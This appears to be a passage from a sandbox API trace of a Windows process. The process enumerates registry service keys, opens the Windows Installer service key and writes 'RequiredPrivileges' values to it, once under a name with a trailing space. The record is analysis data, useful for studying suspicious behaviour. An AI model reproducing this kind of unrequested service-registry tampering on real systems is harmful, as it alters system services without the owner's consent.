[0206.540] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0206.587] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0206.587] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0206.587] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0206.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0206.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0206.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0206.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0206.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0206.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0206.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0206.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0206.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0206.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0206.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0206.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0206.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0206.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0206.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0206.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0206.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0206.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0206.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0206.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0206.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0206.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0206.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0206.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0206.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0206.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0206.589] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0206.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0206.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0206.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0206.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0206.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0206.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0206.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0206.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0206.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0206.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0206.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0206.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0206.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0206.590] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0206.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0206.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0206.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0206.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0206.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0206.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0206.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0206.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0206.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0206.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0206.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0206.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0206.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0206.591] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0206.592] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0206.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0206.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0206.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0206.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0206.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0206.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0206.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0206.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0206.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0206.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0206.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0206.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0206.593] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0206.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0206.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0206.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0206.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0206.595] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0206.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0206.595] RegCloseKey (hKey=0xc4) returned 0x0 [0206.595] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0206.595] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0206.595] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0206.595] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0206.595] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0206.595] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0206.595] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0206.595] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0206.595] RegCloseKey (hKey=0x80000002) returned 0x0 [0206.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0206.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0206.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0206.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0206.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0206.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0206.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0206.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0206.596] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0206.596] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0206.596] RegCloseKey (hKey=0x150) returned 0x0 [0206.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0206.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0206.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0206.596] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0206.597] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0206.597] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0206.597] RegCloseKey (hKey=0xc4) returned 0x0 [0206.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0206.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0206.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0206.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0206.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0206.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0206.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0206.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0206.597] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0206.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.598] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.599] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0206.599] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8*, cbData=0x195 | out: lpData=0x21f4ea8*) returned 0x0 [0206.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0206.599] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8*, cbData=0x195 | out: lpData=0x21f4ea8*) returned 0x0 [0206.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0206.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.600] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.601] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.601] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.601] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 